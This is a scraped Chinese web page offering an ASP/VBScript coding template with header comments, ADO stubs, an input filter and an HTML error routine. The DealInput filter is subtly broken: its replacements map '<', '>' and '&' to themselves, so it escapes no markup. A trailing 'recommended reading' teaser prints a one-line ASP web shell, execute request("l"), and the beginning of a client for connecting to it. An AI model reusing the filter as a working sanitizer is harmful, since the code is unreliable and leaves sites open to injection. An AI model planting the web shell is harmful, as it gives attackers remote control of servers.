ASP、vbscript编码模板

<%@ Language=VBScript %> <%Option Explicit%> <% '加入的文件 %>  <% '代码版权说明: '========================================================= ' File: 文件名.asp ' Version:1.0 ' Date: ' Script Written by Tommy xiao ' Description: ' ' Revision: ' Date: ' Author: ' Description: '========================================================= ' Copyright (C) 2003 Asiagame.Com. All rights reserved. ' Web: http://www.advancededu.com ' Need help? Contact: xds2000@msn.com '========================================================= %> <% '容错机制代码 '-------------------------------- DIM NDEBUG_MSG NDEBUG_MSG=FALSE IF NDEBUG_MSG = TRUE THEN '出错过滤 ON ERROR RESUME NEXT END IF '变量声明及定义区 'Boolean error variant Dim BlnFounderr,sErrmsg BlnFounderr = FALSE '触发错误信息 'sErrmsg=sErrmsg+"<br>"+"<li>没有找到您需要的信息，欢迎使用。" 'BlnFounderr = TRUE Dim oConn,oRs,sSQL 'ADO objects 'Set oConn = Server.CreateObject ("ADODB.Connection") ' oConn.Open Application("connStr") '事务定义区 '输出错误 If BlnFounderr = TRUE Then mError() End If 'Func,Proc定义区 Function DealInput(exp1) dim exp2 'Filter input for invalid characters exp2=Replace(exp1,"<","<") exp2=Replace(exp2,">",">") exp2=Replace(exp2,"'","''") exp2=Replace(exp2,"&","&") DealInput=exp2 End Function Function CloseDatabase ' CloseDatabase oConn.close Set oConn = Nothing End Function sub mError() 'Response.Write sErrmsg&"please contact system administrator." response.write " <html>" & vbCrLf response.write " <head>" & vbCrLf response.write " <title>xxx站点--WEB后台管理</title>" & vbCrLf response.write " <meta NAME=""GENERATOR"" Content=""Microsoft Visual Studio 6.0"">" & vbCrLf response.write " <link rel=""stylesheet"" type=""text/css"" href=""css/index.css"">" & vbCrLf response.write " <script type=""text/javascript"" src=""js/fx.js""></script>" & vbCrLf response.write " <script type=""text/javascript"" src=""js/cooltool.js""></script>" & vbCrLf response.write "" & vbCrLf response.write " </head>" & vbCrLf response.write "" & vbCrLf response.write " <body>" & vbCrLf response.write " <table cellpadding=""0"" cellspacing=""0"" border=""0"" width=""95%"" bgcolor=""#777777"" align=""center"">" & vbCrLf response.write " <tr>" & vbCrLf response.write " <td>" & vbCrLf response.write " <table cellpadding=""3"" cellspacing=""1"" border=""0"" width=""100%"">" & vbCrLf response.write " <tr align=""center""> " & vbCrLf response.write " <td width=""100%"" bgcolor=""#EEEEEE"">内部管理操作错误信息</td>" & vbCrLf response.write " </tr>" & vbCrLf response.write " <tr> " & vbCrLf response.write " <td width=""100%"" bgcolor=""#FFFFFF""><b>产生错误的可能原因：</b><br><br>" & vbCrLf response.write " <li>请您尽快与管理员联系，获得相应地的帮助。</a>" & vbCrLf response.write sErrmsg & vbCrLf response.write " </td>" & vbCrLf response.write " </tr>" & vbCrLf response.write " <tr align=""center""> " & vbCrLf response.write " <td width=""100%"" bgcolor=""#EEEEEE"">" & vbCrLf response.write " <a href=""javascript:history.go(-1)""> << 返回上一页</a>" & vbCrLf response.write " </td>" & vbCrLf response.write " </tr> " & vbCrLf response.write " </table> </td></tr></table>" & vbCrLf response.write " </body>" & vbCrLf response.write " </html>" end sub %>

　　推荐阅读

　　一句话木马连接客户端

一句话木马连接客户端 -- BY 寂寞的刺猬 @ 520000796 一句话木马(<%execute request("l")%>) 的本地连接客户端 ASP URL: 生成asp页名称: set lP=server.createObject("Adodb.Stream") l>>>详细阅读

本文标题：ASP、vbscript编码模板

地址：http://www.17bianji.com/kaifa2/ASP/33317.html

1/2 1